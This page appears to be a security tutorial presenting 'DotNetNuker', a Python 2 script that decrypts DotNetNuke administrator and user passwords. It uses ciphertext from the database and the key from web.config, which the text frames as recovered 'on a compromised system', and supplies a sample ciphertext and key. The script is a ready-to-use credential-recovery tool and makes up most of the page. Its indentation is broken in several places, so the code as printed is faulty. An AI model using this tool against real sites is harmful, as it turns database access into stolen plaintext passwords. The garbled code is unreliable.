DotNetNuker

This script will decrypt DotNetNuke TripleDES (DES3) encrypted user and administrative passwords. DNN uses DES3 with a 192 bit key for default password storage.

This means that all DNN passwords are completely reversible.

On a compromised system, you will find the DES3 passphrase ciphertext in the “aspnet_membership” table of the MSSQL database.

The decryption key is located in the DotNetNuke web.config file found in the dnn root folder. It should be listed as the value “decryptionkey” under <system.web>. The DES3 implementation used by DotNetNuke uses PKCS7 for padding. This is handled in the “strip_padding” function.

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#!/usr/bin/env python

"""dotnetnuker-0.1.py
9-1-2012
contact@nsa.sh
2-4-2019
realjesseshelley@gmail.com
1-3-2022
jesse@cybertutorials.com
This script will decrypt DotNetNuke TripleDES (DES3) encrypted user and 
administrative passwords. DNN uses DES3 with a 192 bit key for
default password storage. This means that all DNN passwords are
completely reversible.
On a compromised system, you will find the DES3 passphrase ciphertext
in the "aspnet_membership" table of the MSSQL database.
The decryption key is located in the DotNetNuke web.config file
found in the dnn root folder. It should be listed as the value
"decryptionkey" under <system.web>.
The DES3 implementation used by DotNetNuke uses PKCS7 for padding.
This is handled in the "strip_padding" function.
"""

from Crypto.Cipher import DES3
import binascii
from base64 import b64encode, b64decode

def decrypt_dnn_des3( encoded_ciphertext, key ):
  """Decrypt DES3 passphrase
  :Args:
  encoded_ciphertext -- Base64 Encoded Ciphertext
  key -- Decryption Key
  Returns decoded and decrypted passphrase.
  """
  BLOCKSIZE = 8  #  DES3 Blocksize is 8 Bytes
  ciphertext = b64decode(encoded_ciphertext)
  if len(ciphertext) % BLOCKSIZE != 0:
    print "Invalid ciphertext! Not a multiple of DES3 blocksize"

key = binascii.unhexlify(key)
  decipher = DES3.new(key, DES3.MODE_CBC)
  password = decipher.decrypt(ciphertext)

#  strip 16 byte salt with slice notation [16:]
  return strip_padding(password[16:])

def strip_padding( plaintext ):
  """Strip DES3 padding from passphrase
  :Args:
  plaintext -- decoded and decrypted passphrase.
  Returns passphrase without padding.
  """
  pad = ord(plaintext[-1])

#  verify padding byte is really a padding byte
  if pad > 8:
    print "Padding byte is not a padding byte!"
    exit(1)
  
  for c in plaintext[-pad:]:
    if ord(c) != pad:
      print "Bad padding"
      exit(1)
 
  plaintext = plaintext[:-pad]

return plaintext
 
# passphrase ciphertext from aspnet_members table
encoded_ciphertext = "8St3xb8NHhSVRof5I6TqZt6DMlPzM3M/uEFstxRNGit17VIX4UthWA=="
# 'decryptionkey' from web.config located in dnn root install
key = "B1F879A992A2F6BD98C68367C9D07AA2C16F454B5638847C"

print decrypt_dnn_des3(encoded_ciphertext, key)

Author
Recent Posts

Jesse Shelley

Technical Communicator at CyberTutorials.org at CyberTutorials.org

I have many years of experience as a criminal investigator, evidence custodian, IT administrator, and as an information security specialist.

I've performed dozens of digital forensic examinations on cases involving criminal matters such as murder, domestic terrorism, sexual assault, child exploitation, CSAM, CSEC, illegal wiretapping, bomb threats, kidnapping, military, corporate, and casework from alphabet agencies such as the FBI and DEA.

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DotNetNuker – Decrypt DotNetNuke Web Application Passwords

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